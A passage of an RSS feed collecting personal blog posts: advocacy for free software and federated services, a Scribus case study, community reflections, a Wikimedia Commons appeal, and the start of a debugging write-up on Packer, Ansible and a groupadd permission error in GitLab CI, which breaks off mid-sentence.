            <content:encoded><![CDATA[<p>An email I had sent in response to a survey on the use of &ldquo;AI / ML&rdquo; and the &ldquo;AI-first mindset&rdquo; in our organisation and in the industry was shared on social media<sup><a href="https://twitter.com/Nithin0dha/status/1463764077210062853">[1]</a> <a href="https://www.linkedin.com/feed/update/urn:li:activity:6869531616264495104">[2]</a></sup> sparking surprising amounts of interest. I did candidly state the simple fact that we haven&rsquo;t come across any big problems that warrant any specific &ldquo;AI / ML&rdquo; solutions in our organisation yet (<a href="https://zerodha.com">Zerodha</a> - stock broker that offers online investment and trading platforms), and that the bulk of the &ldquo;powered by AI&rdquo; claims we have seen across industries and in the numerous startup pitches that we receive, have been cases of hollow marketing. There is also a general expectation (delusion) that any sufficiently large technology company should be using &ldquo;AI / ML&rdquo; somehow, somewhere, for some reason.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[Free Software Explained Simply]]></title>
            <link>https://ravidwivedi.in/posts/free-software-explained-simply/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/free-software-explained-simply/</guid>
            <pubDate>Thu, 25 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[The article was updated on 03 December 2021 to illustrate what source code means.
Let’s say your refrigerator has some problem, and it stopped working. You don’t know how to repair it. There is a repair shop in your town. The components of the refrigerator are sealed and there are no components available in the market. Every company makes their own components which are not compatible with other company’s refrigerators. That means you need to go to the same company to get it repaired, even though the mechanic in the shop near your house could have repaired it if it was not intentionally locked by the manufacturer. Unfortunately, it is weekend and the company services are not available on weekends.
Then you book an appointment on Monday and wait for a few days for your turn. When your turn comes, the company takes the refrigerator and “diagnoses” it for a few days. Then it returns you a call saying that it will take ₹ 50,000 to repair it, and you can get a brand-new refrigerator for ₹ 60,000. So, you got frustrated and buy a new refrigerator.
The story tells us the importance of freedom that we enjoy in our daily life. In the above story, if you had the freedom to see what’s inside your device. But it didn’t happen just because of the company making it intentionally locked and making sure that only they can repair all the products they sell.
Think of the same scenario in software. Let’s say you found a problem in the software you are working on. You are not a programmer, but other people who know programming can fix that problem. Every software is made of some human-readable code, which we call source code, which is then compiled by the computer. A software receives instructions from the code, and it does whatever the source code commands it to. You realized that the code on which the software is working is not available to you by the developer of that software. This leaves other programmers, except for the developer, in no position to fix the problem or even inspect what is wrong with the software. Similar to the refrigerator story above, the software source code is intentionally kept a secret from you and due to that restriction, you cannot get the problem fixed.
You try to contact the developer and report the problem, but there is no response. Now you try to switch to some other software, but then those software lacks some other crucial features which the previous one had. Now you are thinking that if you had the code, then there was a possibility to fix that problem. In this situation, you have to wait for the developer to fix the problem or use some other software or make your own and that too from scratch just to fix a problem, which would have surely been less hassle than to write the software from scratch.
Also, as we discussed earlier, a software takes commands from the source code. That means, whoever has the source code, has the full control over that software. If the user does not have the source code, then the user does not control the software.
What is source code?
Well, what is source code? To illustrate, I would like to show you a simple code. Don’t worry if you do not understand the code. I am only showing it to make my point.
See the following HTML code:
	<!DOCTYPE html>

	<html>

	<body>

	<h1 style="color:Red;">Hello World</h1>

	<p style="color:Blue;">I am Ravi</p>

	<p style="color:Purple;">What color is this text?</p>

	</body>

	</html>

When I write these lines in a text editor, save this file as test.html and open test.html in a browser, it looks like the following image:
	<!DOCTYPE html>

	<html>

	<body>

	<h1 style="color:Green;">Hello World</h1>

	<p style="color:Blue;">I am Ravi</p>

	<p style="color:Purple;">What color is this text?</p>

	</body>

	</html>

Now, if I change the color from Red to Green in the heading of the code above, save the file and open in the browser again. The heading becomes green in color.
See the below screenshot for this code:
Notice how change in code changes the color of the heading in the screenshots. You can do all sort of changes in the code and make the text whatever you like. Try copying the code in a text editor and save it as filename.html, where you can replace ‘filename’ by any name of your choice, and make changes in the text or color to play around and see it for yourself.
The conclusion here is: The person/entity having source code of the software controls the software. For example, Microsoft has the source code of Microsoft Windows and therefore the software is in the control of Microsoft. The source code of Whatspp is with Facebook, so Facebook controls it. Users do not control the software if they do not have the source code.
Defining Free Software
With the above discussion, I wanted to illustrate that you cannot repair a software if you do not have the source code. You do not control the software if you do not have the source code. So, the user must have the source code so that they can inspect and modify it according to their needs. In the above example, if the source code were available with you, then you also require the freedom to share the software with people who know programming. It is analogous to you showing the refrigerator to a mechanic in the above example so that they can repair it.
Now let’s say you have the source code of a software and the freedom to share it with others. There is a problem in that program you would like to fix. Someone who knows how to fix the problem, will modify the source code and give you their modified version so that your problem gets solved.
When the software guarantees all the above-mentioned freedoms and, in addition, the freedom to run the software for any purpose, we call it Free Software. Free Software is a matter of liberty, not price. So ‘Free’ in ‘Free Software’ means freedom and not price. It is also called Libre Software or Swatantra Software or Mukt Software to emphasize that it is about freedom and not price. Think of free as in free speech not as in free meal.
The following poster gives the definition of Free Software:


Credits: Jeison Yehuda Amihud

Source: https://www.gnu.org/graphics/amihud-4-freedoms.html

LICENSE: CC-BY-SA 4.0
 

Examples of Free Software
Check my Free Software List for some examples of Free Software.
An example is Scribus, which is a desktop publishing software used in publishing newspapers, magazines etc. Scribus only supported publishing in Latin languages. Oman government funded adding a feature to Scribus, due to which Arabic support was added. Due to this, Scribus got Malayalam support and many newspapers now use Scribus to publish. The full story is here. It goes to show the value of freedom. Scribus is free software, which means it respects all the four freedoms mentioned in the poster. Source code being available, developers could add a feature and then used freedom 3 to share the modifications with others so that everyone, including nonprogrammers, benefitted from this.
Another example is a free software named GNUKhata. Its development is funded by the Kerala government. Due to the freedom given by Free Software, GNUKhata is customizable. Due to its customizability, it now supports many Indian languages and many features like GST-compliance were added. Since many proprietary software for accounting are very costly and cannot be bought but can only be used against a license fee paid annually or periodically, many small businesses cannot afford them. GNUKhata can be downloaded for free-of-cost and users, businesses do not have to pay any license fee or ask for permission to use it.
Think of what the world would have been without Free Software. What would have happened if there was no Free Software in the above mentioned examples.
Credits: Thanks for Ravish, Praveen and Snehal for reviewing the article and giving suggestions.]]></description>
            <content:encoded><![CDATA[<p><strong>The article was updated on 03 December 2021 to illustrate what source code means.</strong></p>
<p>Let&rsquo;s say your refrigerator has some problem, and it stopped working. You don&rsquo;t know how to repair it. There is a repair shop in your town. The components of the refrigerator are sealed and there are no components available in the market. Every company makes their own components which are not compatible with other company&rsquo;s refrigerators. That means you need to go to the same company to get it repaired, even though the mechanic in the shop near your house could have repaired it if it was not intentionally locked by the manufacturer. Unfortunately, it is weekend and the company services are not available on weekends.</p>
<p>Then you book an appointment on Monday and wait for a few days for your turn. When your turn comes, the company takes the refrigerator and &ldquo;diagnoses&rdquo; it for a few days. Then it returns you a call saying that it will take ₹ 50,000 to repair it, and you can get a brand-new refrigerator for ₹ 60,000. So, you got frustrated and buy a new refrigerator.</p>
<p>The story tells us the importance of freedom that we enjoy in our daily life. In the above story, if you had the freedom to see what&rsquo;s inside your device. But it didn&rsquo;t happen just because of the company making it intentionally locked and making sure that only they can repair all the products they sell.</p>
<p>Think of the same scenario in software. Let&rsquo;s say you found a problem in the software you are working on. You are not a programmer, but other people who know programming can fix that problem. Every software is made of some human-readable code, which we call source code, which is then compiled by the computer. A software receives instructions from the code, and it does whatever the source code commands it to. You realized that the code on which the software is working is not available to you by the developer of that software. This leaves other programmers, except for the developer, in no position to fix the problem or even inspect what is wrong with the software. Similar to the refrigerator story above, the software source code is intentionally kept a secret from you and due to that restriction, you cannot get the problem fixed.</p>
<p>You try to contact the developer and report the problem, but there is no response. Now you try to switch to some other software, but then those software lacks some other crucial features which the previous one had. Now you are thinking that if you had the code, then there was a possibility to fix that problem. In this situation, you have to wait for the developer to fix the problem or use some other software or make your own and that too from scratch just to fix a problem, which would have surely been less hassle than to write the software from scratch.</p>
<p>Also, as we discussed earlier, a software takes commands from the source code. That means, whoever has the source code, has the full control over that software. If the user does not have the source code, then the user does not control the software.</p>
<h4 id="what-is-source-code">What is source code?</h4>
<p>Well, what is source code? To illustrate, I would like to show you a simple code. Don&rsquo;t worry if you do not understand the code. I am only showing it to make my point.</p>
<p>See the following HTML code:</p>
<pre><code>	&lt;!DOCTYPE html&gt;

	&lt;html&gt;

	&lt;body&gt;

	&lt;h1 style=&quot;color:Red;&quot;&gt;Hello World&lt;/h1&gt;

	&lt;p style=&quot;color:Blue;&quot;&gt;I am Ravi&lt;/p&gt;

	&lt;p style=&quot;color:Purple;&quot;&gt;What color is this text?&lt;/p&gt;

	&lt;/body&gt;

	&lt;/html&gt;
</code></pre>
<p>When I write these lines in a text editor, save this file as test.html and open test.html in a browser, it looks like the following image:</p>
<img src="https://ravidwivedi.in/images/html1.png" width="500" height="300">
<pre><code>	&lt;!DOCTYPE html&gt;

	&lt;html&gt;

	&lt;body&gt;

	&lt;h1 style=&quot;color:Green;&quot;&gt;Hello World&lt;/h1&gt;

	&lt;p style=&quot;color:Blue;&quot;&gt;I am Ravi&lt;/p&gt;

	&lt;p style=&quot;color:Purple;&quot;&gt;What color is this text?&lt;/p&gt;

	&lt;/body&gt;

	&lt;/html&gt;
</code></pre>
<br>
<p>Now, if I change the color from Red to Green in the heading of the code above, save the file and open in the browser again. The heading becomes green in color.</p>
<p>See the below screenshot for this code:</p>
<img src="https://ravidwivedi.in/images/html2.png" width="500" height="300">
<br>
<p>Notice how change in code changes the color of the heading in the screenshots. You can do all sort of changes in the code and make the text whatever you like. Try copying the code in a text editor and save it as filename.html, where you can replace &lsquo;filename&rsquo; by any name of your choice, and make changes in the text or color to play around and see it for yourself.</p>
<p>The conclusion here is: The person/entity having source code of the software controls the software. For example, Microsoft has the source code of Microsoft Windows and therefore the software is in the control of Microsoft. The source code of Whatspp is with Facebook, so Facebook controls it. Users do not control the software if they do not have the source code.</p>
<br>
<h4 id="defining-free-software">Defining Free Software</h4>
<p>With the above discussion, I wanted to illustrate that you cannot repair a software if you do not have the source code. You do not control the software if you do not have the source code. So, the user must have the source code so that they can inspect and modify it according to their needs. In the above example, if the source code were available with you, then you also require the freedom to share the software with people who know programming. It is analogous to you showing the refrigerator to a mechanic in the above example so that they can repair it.</p>
<p>Now let&rsquo;s say you have the source code of a software and the freedom to share it with others. There is a problem in that program you would like to fix. Someone who knows how to fix the problem, will modify the source code and give you their modified version so that your problem gets solved.</p>
<p>When the software guarantees all the above-mentioned freedoms and, in addition, the freedom to run the software for any purpose, we call it Free Software. Free Software is a matter of liberty, not price. So &lsquo;Free&rsquo; in &lsquo;Free Software&rsquo; means freedom and not price. It is also called Libre Software or Swatantra Software or Mukt Software to emphasize that it is about freedom and not price. Think of free as in free speech not as in free meal.</p>
<p>The following poster gives the definition of Free Software:</p>
<figure>
<figcaption>
<a title="Jeison Yehuda Amihud, CC BY-SA 4.0 &lt;https://creativecommons.org/licenses/by-sa/4.0&gt;, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:4-freedoms-poster.png"><img width="256" alt="4-freedoms-poster" src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a4/4-freedoms-poster.png/256px-4-freedoms-poster.png"></a>
<br>
Credits: Jeison Yehuda Amihud
<br>
Source: https://www.gnu.org/graphics/amihud-4-freedoms.html
<br>
LICENSE: <a href= "https://creativecommons.org/licenses/by-sa/4.0/">CC-BY-SA 4.0</a>
 </figcaption>
</figure>
<h4 id="examples-of-free-software">Examples of Free Software</h4>
<p>Check my <a href="https://ravidwivedi.in/free-software-list">Free Software List</a> for some examples of Free Software.</p>
<p>An example is Scribus, which is a desktop publishing software used in publishing newspapers, magazines etc. Scribus only supported publishing in Latin languages. Oman government funded adding a feature to Scribus, due to which Arabic support was added. Due to this, Scribus got Malayalam support and many newspapers now use Scribus to publish. The full story is <a href="https://ravidwivedi.in/posts/scribus.html">here</a>. It goes to show the value of freedom. Scribus is free software, which means it respects all the four freedoms mentioned in the poster. Source code being available, developers could add a feature and then used freedom 3 to share the modifications with others so that everyone, including nonprogrammers, benefitted from this.</p>
<p>Another example is a free software named GNUKhata. Its development is funded by the Kerala government. Due to the freedom given by Free Software, GNUKhata is customizable. Due to its customizability, <a href="https://yourstory.com/smbstory/new-gst-friendly-open-source-accounting-software-for-craft-producers-and-micro-finance-groups/amp?utm_source=old-domain">it now supports many Indian languages</a> and many features like GST-compliance were added. Since many proprietary software for accounting are very costly and cannot be bought but can only be used against a license fee paid annually or periodically, many small businesses cannot afford them. GNUKhata can be downloaded for free-of-cost and users, businesses do not have to pay any license fee or ask for permission to use it.</p>
<p>Think of what the world would have been without Free Software. What would have happened if there was no Free Software in the above mentioned examples.</p>
<br>
Updated on Sunday 28 November 2021 to add suggestions by Praveen and Snehal.
<p><b>Credits: Thanks for Ravish, Praveen and Snehal for reviewing the article and giving suggestions.</b></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[What Does The Facebook Outage Teach Us]]></title>
            <link>https://ravidwivedi.in/posts/what-does-facebook-outage-teach-us/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/what-does-facebook-outage-teach-us/</guid>
            <pubDate>Thu, 25 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[On the 4th of October 2021, Facebook, Instagram, WhatsApp were down for more than 6 hours. This had a huge impact on many of its users, with devastating effect to many. During the outage, many users flocked to Twitter, Discord, Signal, and Telegram, resulting in disruptions on these apps’ servers.
Many businesses, which rely on Facebook’s services for their business, were down. In many countries, Facebook is synonymous with the internet and therefore their communications, business, payments, humanitarian work got disrupted. The outage temporarily broke the ability for some Facebook employees to access company buildings and conference rooms with their badges. And every third-party site that relies on “log in with Facebook” didn’t work as well.
What does this teach us? That Facebook’s services are centralized (they are controlled by a single entity). They are the single point of failure and control. A single company like Facebook controlling a large part of communications is no different from a dictator. You are at a mercy of them.
This tells us that the whole world relying on a single company for all their communications, businesses etc. is not sustainable.
In addition, such a service can be sold to any other company, like WhatsApp was sold to Facebook. So, even if the service is good today, it can become bad in the future– like, by selling it to another company or by changing privacy policy. Also, it is easier for governments to ban such a service.
Facebook is so bad for many reasons that my advice to you is to delete your Facebook account.
Now, what can we do about it?
I do not use or be user by any centralized service, be it Signal, Twitter, Telegram. I use decentralized and federated services. Email is an example of federation. A @gmail.com user can write mails to @yahoo.com user and vice-versa. This gives a choice of service providers, and therefore the entire communication systems of the world do not depend entirely on one service. If one service goes down, then this won’t disrupt the communications of the whole world.
Examples of decentralized networks are : Jitsi Meet(a video-calling software), Searx search engine etc. They can be self-hosted by anyone in their server. This gives users a choice of service providers.
Examples of federated networks are: Fediverse, XMPP, Matrix etc.
XMPP is a chat protocol. There are many services which a user can register with and still talk to another XMPP user who is registered on another XMPP service. This choice of service providers ensures that users are not locked into a single provider.
To get started with XMPP, you can use Quicksy on Android, whose onboarding process is similar to WhatsApp and Telegram. However, Quicksy users can talk to users registered on other XMPP providers, and so they are not locked-in to the service. If one service on XMPP shuts down or changes their policy, users can switch to other provider without going to the trouble of convincing every contact to switch to a new service. Compare this with WhatsApp, Signal, Telegram. If they change their policy or you disagree with these providers in future, you need to convince every contact to switch to that new service.
The bottom line is that Facebook’s outage is a reminder that they are a single point of failure, and other centralized services are no different in this aspect. Switch to decentralized and federated services instead, rather than being locked into a single provider for all your needs.]]></description>
            <content:encoded><![CDATA[<p>On the 4th of October 2021, <a href="https://www.nytimes.com/2021/10/04/technology/facebook-down.html">Facebook, Instagram, WhatsApp were down</a> for more than 6 hours. This had a huge impact on many of its users, <a href="https://webfoundation.org/2021/11/when-facebook-goes-down-whats-an-inconvenience-to-some-is-devastating-to-others/">with devastating effect to many</a>. During the outage, many users flocked to <a href="https://www.heraldscotland.com/news/19624807.twitter-users-report-outage-facebook-whatsapp-instagram-go/">Twitter</a>, <a href="https://downdetector.com/status/discord/">Discord</a>, <a href="https://www.bloomberg.com/news/articles/2021-10-05/millions-flock-to-signal-as-facebook-whatsapp-suffer-outage">Signal, and Telegram</a>, resulting in disruptions on these apps&rsquo; servers.</p>
<p>Many businesses, which rely on Facebook&rsquo;s services for their business, <a href="https://www.nytimes.com/2021/10/04/technology/facebook-down.html">were down</a>. In many countries, Facebook is synonymous with the internet and therefore their <a href="https://news.trust.org/item/20211005204816-qzjft/">communications, business, payments, humanitarian work got disrupted</a>. The outage temporarily broke the ability for some Facebook employees to <a href="https://www.theverge.com/2021/10/4/22709575/facebook-outage-instagram-whatsapp">access company buildings and conference rooms with their badges</a>. And every third-party site that relies on “log in with Facebook” didn&rsquo;t work as well.</p>
<p>What does this teach us? That Facebook&rsquo;s services are centralized (they are controlled by a single entity). They are the single point of failure and control. A single company like Facebook controlling a large part of communications is no different from a dictator. You are at a mercy of them.</p>
<p>This tells us that the whole world relying on a single company for all their communications, businesses etc. is not sustainable.</p>
<p>In addition, such a service can be sold to any other company, like <a href="http://newsroom.fb.com/News/805/Facebook-to-Acquire-WhatsApp">WhatsApp was sold to Facebook</a>. So, even if the service is good today, it can become bad in the future&ndash; like, by selling it to another company or <a href="https://www.macrumors.com/2021/01/06/whatsapp-privacy-policy-data-sharing-facebook/">by changing privacy policy</a>. Also, it is easier for governments to ban such a service.</p>
<p><a href="https://stallman.org/facebook.html">Facebook is so bad for many reasons</a> that my advice to you is to delete your Facebook account.</p>
<p>Now, what can we do about it?</p>
<p>I do not use or be user by any centralized service, be it Signal, Twitter, Telegram. I use decentralized and federated services. Email is an example of federation. A @gmail.com user can write mails to @yahoo.com user and vice-versa. This gives a choice of service providers, and therefore the entire communication systems of the world do not depend entirely on one service. If one service goes down, then this won&rsquo;t disrupt the communications of the whole world.</p>
<p>Examples of decentralized networks are : Jitsi Meet(a video-calling software), Searx search engine etc. They can be self-hosted by anyone in their server. This gives users a choice of service providers.</p>
<p>Examples of federated networks are: Fediverse, XMPP, Matrix etc.</p>
<p>XMPP is a chat protocol. There are many services which a user can register with and still talk to another XMPP user who is registered on another XMPP service. This choice of service providers ensures that users are not locked into a single provider.</p>
<p>To get started with XMPP, you can use Quicksy on Android, whose onboarding process is similar to WhatsApp and Telegram. However, Quicksy users can talk to users registered on other XMPP providers, and so they are not locked-in to the service. If one service on XMPP shuts down or changes their policy, users can switch to other provider without going to the trouble of convincing every contact to switch to a new service. Compare this with WhatsApp, Signal, Telegram. If they change their policy or you disagree with these providers in future, you need to convince every contact to switch to that new service.</p>
<p><b>The bottom line is that Facebook&rsquo;s outage is a reminder that they are a single point of failure, and other centralized services are no different in this aspect. Switch to decentralized and federated services instead, rather than being locked into a single provider for all your needs.</b></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Scribus: When Freedom-Respecting Software Saved The Day]]></title>
            <link>https://ravidwivedi.in/posts/scribus/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/scribus/</guid>
            <pubDate>Wed, 24 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Janayugom is a newspaper in Kerala, India, which publishes news in Malayalam language. Earlier they were using Adobe Pagemaker for publishing which supported only ASCII encoding. They considered using a better software for publishing in Malayalam. Many suggested them to try Adobe InDesign, but they realized that they need to pay a hefty subscription fee, which they could not afford. They came across community members of FSCI (Free Software Community of India), who suggested them to use Scribus for their publishing work. They don’t have to pay for any subscription fee to use it. Plus it supports Malayalam.
The developers of Scribus only added support for Latin languages, like English, Spanish, etc. Oman government funded adding support for Non-Latin languages in Scribus with Complex Text Layout feature, because they wanted support for Arabic language. This made is possible to add Malayalam support to Scribus.
This was done independent of the developers of Scribus. It is because Scribus is Free Software (free as in freedom, not price), which means anyone can adapt Scribus according to their needs. Such a thing is not possible with those Adobe software as they are proprietary and only developers can make changes.
What will you do if the developer of a proprietary software does not care about the feature you want to add? Maybe the developers don’t care about supporting your language. In the case of Free Software, such changes are possible, independent of developers’ wish. Further, the funded project by the Oman government helped people in India to publish in their language. It is because users get freedom to share the modified versions of Free Software. And thus, any addition of feature helps the whole society.]]></description>
            <content:encoded><![CDATA[<p>Janayugom is a newspaper in Kerala, India, which publishes news in Malayalam language. Earlier they were using Adobe Pagemaker for publishing which supported only ASCII encoding. They considered using a better software for publishing in Malayalam. Many suggested them to try Adobe InDesign, but they realized that they need to pay a hefty subscription fee, which they could not afford. They came across community members of FSCI (Free Software Community of India), who suggested them to use Scribus for their publishing work. They don&rsquo;t have to pay for any subscription fee to use it. Plus it supports Malayalam.</p>
<p>The developers of Scribus only added support for Latin languages, like English, Spanish, etc. Oman government funded adding support for Non-Latin languages in Scribus with Complex Text Layout feature, because they wanted support for Arabic language. This made is possible to add Malayalam support to Scribus.</p>
<p>This was done independent of the developers of Scribus. It is because Scribus is Free Software (free as in freedom, not price), which means anyone can adapt Scribus according to their needs. Such a thing is not possible with those Adobe software as they are proprietary and only developers can make changes.</p>
<p>What will you do if the developer of a proprietary software does not care about the feature you want to add? Maybe the developers don&rsquo;t care about supporting your language. In the case of Free Software, such changes are possible, independent of developers&rsquo; wish. Further, the funded project by the Oman government helped people in India to publish in their language. It is because users get freedom to share the modified versions of Free Software. And thus, any addition of feature helps the whole society.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[The Importance of Communities]]></title>
            <link>https://ravidwivedi.in/posts/the-importance-of-communities/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/the-importance-of-communities/</guid>
            <pubDate>Sun, 21 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Wikipedia defines ‘Community’ as:
A community is a social unit (a group of living things) with commonality such as norms, religion, values, customs, or identity.
Communities can be of many types and they might exist for different set of goals. In this post, I will share my experience with the free software commmunity that I am part of and its importance in my life. The topic has been touched in this blog post by FSCI earlier. The point was that communities can self-host and maintain free software powered services for the benefit of all because every individual self-hosting their services is not possible(for, say, people who do not know how to do) and not sustainable. Therefore, people can collaborate and run services.
That aspect is very important and that helps me greatly in my use of free software. In this post, I will touch on another aspect of the importance of communities, that is– the psychological boost that we get by being in a group which shares our goals. I continually say that I use only free software for my computing. But how is that possible in the era where proprietary software dominates? First comes my realization that software must respect user’s freedom. Then, my willpower to use only free/swatantra software. Then I also rely on the aspect touched earlier in the post about community-run services. I use community-run services(like the ones by FSCI) for my daily use. Abhas’ services helped me largely too. But one of the most important aspects is: that I am a part of the community which has a goal of promoting freedom-respecting software and full of people who understand the value of privacy. I think that if I was doing it all alone, I would probably would have been demotivated. I don’t know if I were able to keep it up. I keep getting demotivated but when I see that I am not alone in this activism, it definitely helps. Then I have friends from Free Software Communities outside of FSCI too. Many of them I know from Mastodon.
Also, I like how our community is inclusive and welcoming to all. Plus, it is nonhierarchial too. This aspect has made me hate hierarhical and centralized social structures as well(more on this later ;) ). We are also working on increasing the diversity in the community too. I hope that that people from all backgrounds (and not only privileged) get benefit and freedom that freedom-respecting software provides to the user.
I wanna thank you all for making this possible :)
Similar read: Arun Mathai also has a post on why he likes communities.]]></description>
            <content:encoded><![CDATA[<p>Wikipedia defines &lsquo;Community&rsquo; as:</p>
<blockquote>
<p>A community is a social unit (a group of living things) with commonality such as norms, religion, values, customs, or identity.</p>
</blockquote>
<p>Communities can be of many types and they might exist for different set of goals. In this post, I will share my experience with the <a href="https://fsci.in">free software commmunity that I am part of</a> and its importance in my life. The topic has been touched in <a href="https://fsci.in/blog/self-hosting-and-federation/">this blog post</a> by FSCI earlier. The point was that communities can self-host and maintain free software powered services for the benefit of all because every individual self-hosting their services is not possible(for, say, people who do not know how to do) and not sustainable. Therefore, people can collaborate and run services.</p>
<p>That aspect is very important and that helps me greatly in my use of free software. In this post, I will touch on another aspect of the importance of communities, that is&ndash; the psychological boost that we get by being in a group which shares our goals. I continually say that I use only <a href="https://ravidwivedi.in/posts/free-sw">free software</a> for my computing. But how is that possible in the era where proprietary software dominates? First comes my realization that software must respect user&rsquo;s freedom. Then, my willpower to use only free/swatantra software. Then I also rely on the aspect touched earlier in the post about community-run services. I use community-run services(like the ones by FSCI) for my daily use. <a href="https://mostlyharmless.io">Abhas&rsquo; services</a> helped me largely too. But one of the most important aspects is: that I am a part of the community which has a goal of promoting freedom-respecting software and full of people who understand the value of privacy. I think that if I was doing it all alone, I would probably would have been demotivated. I don&rsquo;t know if I were able to keep it up. I keep getting demotivated but when I see that I am not alone in this activism, it definitely helps. Then I have friends from Free Software Communities outside of FSCI too. Many of them I know from <a href="https://joinmastodon.org">Mastodon</a>.</p>
<p>Also, I like how our community is inclusive and welcoming to all. Plus, it is nonhierarchial too. This aspect has made me hate hierarhical and centralized social structures as well(more on this later ;) ). We are also working on <a href="https://camp.fsci.in">increasing the diversity in the community</a> too. I hope that that people from all backgrounds (and not only privileged) get benefit and freedom that freedom-respecting software provides to the user.</p>
<p>I wanna thank you all for making this possible :)</p>
<p>Similar read: Arun Mathai also has a <a href="https://arunmathaisk.in/2021/06/14/why-i-love-healthy-communities/">post on why he likes communities</a>.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Contribute to Wikimedia Commons]]></title>
            <link>https://ravidwivedi.in/posts/upload-on-wikimedia/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/upload-on-wikimedia/</guid>
            <pubDate>Wed, 17 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[If you have an image or a photo that you have taken which is useful for informative purposes, you can upload them to Wikimedia Commons.
All users of files found on Wikimedia Commons must be given the Four Freedoms:
The freedom to use the media.
The freedom to study the media and use information gained from it.
The freedom to make and distribute copies of the media.
The freedom to make changes to the media and distribute derived versions.
I publish my images under a copyleft license, which means if you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original, thus protecting every user’s (whoever uses that image) freedom. One such license is CC-BY-SA 4.0.
You can upload your images to Wikimedia Commons as well. Whenever you have some photo you shot and want to contribute it to public so that others can use it in their work, upload it to Wikimedia Commons.
A federated and decentralized version of image sharing Wikimedia Commons would be good. Currently it is centralized and all the images are on one server. We can store these images at many places to avoid single point of failure.
Thanks to sahilister, who suggested me to upload there.]]></description>
            <content:encoded><![CDATA[<p>If you have an image or a photo that you have taken which is <a href="https://commons.wikimedia.org/wiki/Commons:Project_scope#Must_be_realistically_useful_for_an_educational_purpose">useful for informative purposes</a>, you can upload them to <a href="https://commons.wikimedia.org">Wikimedia Commons</a>.</p>
<p>All users of files found on Wikimedia Commons must be given the <a href="https://freedomdefined.org/Definition">Four Freedoms</a>:</p>
<ul>
<li>The freedom to use the media.</li>
<li>The freedom to study the media and use information gained from it.</li>
<li>The freedom to make and distribute copies of the media.</li>
<li>The freedom to make changes to the media and distribute derived versions.</li>
</ul>
<p>I publish my images under a copyleft license, which means if you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original, thus protecting every user&rsquo;s (whoever uses that image) freedom. One such license is <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC-BY-SA 4.0</a>.</p>
<p>You can upload your images to Wikimedia Commons as well. Whenever you have some photo you shot and want to contribute it to public so that others can use it in their work, upload it to Wikimedia Commons.</p>
<p>A federated and decentralized version of image sharing Wikimedia Commons would be good. Currently it is centralized and all the images are on one server. We can store these images at many places to avoid single point of failure.</p>
<p>Thanks to <a href="https://sahilister.in">sahilister</a>, who suggested me to upload there.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Debugging issues with Packer and Ansible in Docker]]></title>
            <link>https://mrkaran.dev/posts/debugging-packer-ci/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/debugging-packer-ci/</guid>
            <pubDate>Mon, 15 Nov 2021 18:30:00 GMT</pubDate>
            <description><![CDATA[Today I faced an issue that questioned my sanity. Since I didn’t find many “related” issues on StackOverflow/Google-fu except a lone GitHub thread where a kind stranger hinted at what could be the issue, I am writing about it here in the hopes (although I don’t wish this torture on anyone) that it helps someone!
To give some context, I am running a Gitlab CI job that bakes an AMI using Packer. Packer can use different kinds of provisioners to do configure stuff on the host and then prepare the image. I am using Ansible provisioner to install and configure Consul. At this point you may think this post is sponsored by Hashicorp by the sheer mention of all their products, but I assure you that is not the case.
Anyway, so this role works locally but it fails on the damn Gitlab CI. Classic case of Works on my machine, Ops problem now. These kinds of issues although are particularly exciting for me because they give me a chance to dig down deeper in the internals and slowly peel apart layers to figure out where the “drift” between local and CI is happening.
Here’s the relevant Packer snippet (Oh and this week as I updated myself with new Packer releases, it’s now possible to write Packer config with HCL and not just JSON anymore! Yayie. Again a reminder: not a sponsored post).
build {
  sources = ["source.amazon-ebs.golden-ami"]
  provisioner "ansible" {
    playbook_file           = "${var.playbook_file}"
    extra_arguments         = ["--tags", "install", "-e", "ansible_python_interpreter=/usr/bin/python3"]
    ansible_env_vars        = ["ANSIBLE_LOCAL_TEMP=$HOME/.ansible/tmp", "ANSIBLE_REMOTE_TEMP=$HOME/.ansible/tmp"]
    galaxy_file             = "${var.galaxy_file}"
    inventory_file_template = "[consul_instances]\n{{ .HostAlias }} ansible_host={{ .Host }} ansible_user={{ .User }} ansible_port={{ .Port }}\n"
  }
}
Running packer build in CI results in a failure of a task defined in the Ansible playbook. The task simply creates a new group:
- name: Add Consul group
  group:
    name: "{{ consul_group }}"
    state: present
  when:
    - consul_manage_group | bool
group runs groupapp command behind the scenes and you should be in the list of sudoers to actually create new groups. Since I already have become: true and become_user: root in my playbook that requirement is fulfilled. Moreover, this task runs just fine in the local as I mentioned above. While running in CI, I see the following error:
amazon-ebs.golden-ami: TASK [consul : Add Consul group] ***********************************************
amazon-ebs.golden-ami: fatal: [default]: FAILED! => {"changed": false, "msg": "groupadd: Permission denied.\ngroupadd: cannot lock /etc/group; try again later.\n", "name": "consul"}
Erhm, okayyy. That looks like a permission error. But why does this not happen in my local was the question eating me up.
Now was the time to start from the ground up and dissect different things going here. I will add a small hint though: The Gitlab CI runner is a Docker-based runner. That means all the commands like packer build etc happen inside a Docker container. I am using hashicorp/packer:light image, which is an Alpine based image containing just the packer executable.
I tried to run the container locally with:
